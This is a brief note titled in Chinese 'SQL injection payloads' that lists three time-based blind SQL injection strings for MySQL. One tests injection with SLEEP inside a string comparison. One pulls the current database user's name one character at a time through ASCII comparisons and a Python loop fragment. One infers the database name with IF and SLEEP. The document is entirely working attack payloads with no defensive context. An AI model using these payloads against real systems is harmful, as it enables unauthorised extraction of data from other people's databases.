sql注入payloads

mysql> select * from user where name='bush'+(select * from (select(sleep(3)))a)+'';

(SELECT * FROM (SELECT(SLEEP((ASCII(MID(LOWER(USER()),1,1))=" + str(ord(_str)) + ")*5)))ring)

select * from tw_kv where 1=1 and (select * from (select if(right(database(),1)=(select char(115)),sleep(3),0))a);